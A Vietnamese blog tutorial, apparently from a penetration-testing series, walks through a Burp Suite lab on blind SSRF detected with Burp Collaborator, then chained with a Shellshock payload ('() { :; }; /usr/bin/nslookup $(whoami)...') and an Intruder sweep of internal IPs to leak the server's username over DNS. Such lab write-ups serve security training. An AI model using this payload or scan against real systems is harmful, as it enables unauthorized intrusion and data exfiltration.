Penetration Testing Step 3 – Blind SSRF attack với hàng độc out-of-band techniques

Tiếp theo nội dung Penetration Testing Step 3 – SSRF attack với whitelist filter bypass và open redirection, kỳ này tôi sẽ xử lý nốt nội dung còn lại là Blind SSRF attack với out-of-band techniques.

Lưu ý:

#1. Blind SSRF vulnerabilities mặt mũi ra sao?

Về cơ bản, lỗ hổng Blind SSRF xuất hiện khi ứng dụng bị “dụ dỗ” để bắn ra back-end HTTP request đến một URL nào đấy và response từ cái request này không được trả về ứng dụng.

Thông thường, Blind SSRF có thể dựa vào out-of-band techniques – OAST để làm ứng dụng phọt ra HTTP request đến external system (các hệ thống bên ngoài) mà tôi có thể thao túng từ đó soi mói thông tin trong quá trình tương tác của 2 đối tượng này.

OAST có nhiều phương án triển khai, nhưng vì đang chiến với Burp Suite nên tôi có một lựa chọn khá hợp lý là sử dụng Burp Collaborator. Với Burp Collaborator client, tôi sẽ tạo ra các domain name độc lạ đóng vai trò làm payload rồi gửi đến ứng dụng. Khi đó, nếu tồn tại lỗ hổng SSRF, tôi sẽ có thể ngồi rung đùi theo dõi quá trình tương tác từ ứng dụng đến cái domain name đã thiết lập (ví dụ các HTTP request).

Lưu ý:

  • Burp Collaborator chỉ có trên bản Professional/Enterprise;
  • Quá trình tương tác của ứng dụng với cái Collaborator domain đã thiết lập có thể chỉ bao gồm DNS look-up mà không có HTTP request đi kèm sau đó. Việc này có thể xảy ra khi đám HTTP request bị chặn lại bởi network-level filter (đám outbond DNS traffic là nhu cầu thiết yếu với các hệ thống nên hiếm khi bị chặn);

Một khi đã có thể túm được kết quả tương tác của ứng dụng đến Collaborator domain, tôi sẽ tiến hành các phương án thăm dò và khai thác lỗ hổng trên server cũng như các hệ thống râu ria có liên kết đến nó.

#2. Out-of-band techniques với Burp Collaborator

Với trò OAST này, tôi sẽ cần truy cập đến Burp menu tôi chọn Burp Collaborator client.

Burp menu
Burp menu

Sau đó tôi chọn Copy to clipboard để hốt cái Burp Collaborator payload (p2sqej5zcouo7ksr568soqd2wt2jq8.burpcollaborator.net trong ví dụ này).

Burp Collaborator client
Burp Collaborator client

Cứ để cái Burp Collaborator client này chạy, tôi quay qua browser truy cập đại vô một sản phẩm của ứng dụng.

View details
View details

Rồi hốt cái request tương ứng quăng qua Repeater.

View details request
View details request

Ở đây tôi sẽ cập nhật cái Referer header sang cái Burp Collaborator domain đã copy ở trên và send.

Modified view details request
Modified view details request

Lưu ý: Cái Collaborator payload trong ví dụ trên của tôi là p2sqej5zcouo7ksr568soqd2wt2jq8.burpcollaborator.net. Nếu bạn sử dụng các bản Burp Suite cập nhật, public Collaborator domain sẽ có thể ở dạng oastify.com thay vì burpcollaborator.net.

Quay trở về Burp Collaborator client, tôi rung đùi chờ xuất hiện kết quả tương tác (có thể chờ vài giây rồi click Poll now nếu sốt ruột quá).

Nhờ ăn ở tốt, tôi thấy một số DNS và HTTP request đến Collaborator như sau.

Burp Collaborator interaction
Burp Collaborator interaction

Dựa vào kết quả tương tác này, tôi sẽ có thể khai thác các thông tin cần thiết hoặc làm bàn đạp cho các đòn tấn công tiếp theo như phần minh họa bên dưới.

#3. Blind SSRF attack với Shellshock exploitation

Để thuận lợi trong quá trình chiến đấu với Burp Collaborator, tôi bay qua chỗ Bapp Store trong Extender để hốt cái Collaborator Everywhere.

Collaborator Everywhere
Collaborator Everywhere

Kế đến, tôi add cái domain của phần lab vào Target Scope của Burp Suite để cái Collaborator Everywhere có thể hỗ trợ tác chiến.

Target Scope
Target Scope
Added Target Scope
Added Target Scope

Lưu ý: Bạn có thể xem thêm phần Target trong nội dung Penetration Testing Step 3 – Chuẩn bị bàn đạp để tấn công từ Target tab của Burp Suite.

Sau khi bày binh bố trận xong, tôi bắt đầu duyệt qua nội dung của mục tiêu. Ví dụ, khi soi kèo một sản phẩm cụ thể trên ứng dụng, tôi có thể quan sát thấy HTTP interaction đến Burp Collaborator kiểu như sau.

Burp Collaborator interaction Referer - 1
Burp Collaborator interaction Referer – 1
Burp Collaborator interaction Referer - 2
Burp Collaborator interaction Referer – 2

Đồng thời, tôi cũng có thể quan sát thấy cái User-Agent string bên trong cái HTTP request.

Burp Collaborator interaction User-Agent - 1
Burp Collaborator interaction User-Agent – 1
Burp Collaborator interaction User-Agent - 2
Burp Collaborator interaction User-Agent – 2

Túm cái request này, tôi đẩy sang Burp Suite Intruder trước.

View details request
View details request

Sau đó, tôi mở Burp Collaborator client lên để generate Collaborator payload rồi chọn Copy to clipboard (trong ví dụ của tôi thì nó sẽ là devxx7cbhs5dtqyo92g7gsba51brzg.burpcollaborator.net).

Burp Collaborator client
Burp Collaborator client

Với thông tin này, tôi soạn ra một Shellshock payload tương ứng kiểu như sau:

() { :; }; /usr/bin/nslookup $(whoami).devxx7cbhs5dtqyo92g7gsba51brzg.burpcollaborator.net

Lưu ý:

Quay lại cái request đã đẩy sang Burp Suite Intruder ban nãy, ở tab con Positions, tôi cập nhật chỗ User-Agent string thành cái Shellshock payload đã chuẩn bị. Tại chỗ Referer header, tôi cũng cập nhật thành http://192.168.0.1:8080.

Lưu ý: Thông tin IPport ở đây được đơn giản hóa để demo cho nhanh. Thực tế bạn có thể sẽ phải đổ mồ hôi, sôi nước mắt để xác định chứ không phải tự nhiên mà có được.

Đồng thời, tôi cũng xóa hết các payload marker mặc định (với Clear §) rồi chọn cái final octet của các IP address (số “1” cuối cùng) chỗ Referer header để set payload marker (với Add §).

Burp Suite Intruder Positions
Burp Suite Intruder Positions

Chuyển qua tab con Payloads, tôi chọn payload type Numbers với các thông tin From, ToStep như bên dưới (ý tưởng ở đây là tôi sẽ quét hết dãy IP này để tìm kiếm yếu huyệt nhằm tung cái Shellshock payload hạ sát mục tiêu).

Burp Suite Intruder Payloads
Burp Suite Intruder Payloads

Sau khi Start attack, tôi mở cái Burp Collaborator client lên và chờ đợi. Và nếu mọi chuyện êm đẹp, tôi sẽ quan sát thấy quá trình tương tác của mục tiêu và Burp Collaborator.

Với cái Shellshock payload ở trên (cụ thể là cái whoami), tôi sẽ có thể đọc được thông tin user tương ứng như sau.

Burp Collaborator interaction
Burp Collaborator interaction

1 thought on “Penetration Testing Step 3 – Blind SSRF attack với hàng độc out-of-band techniques”

Leave a Reply

Your email address will not be published. Required fields are marked *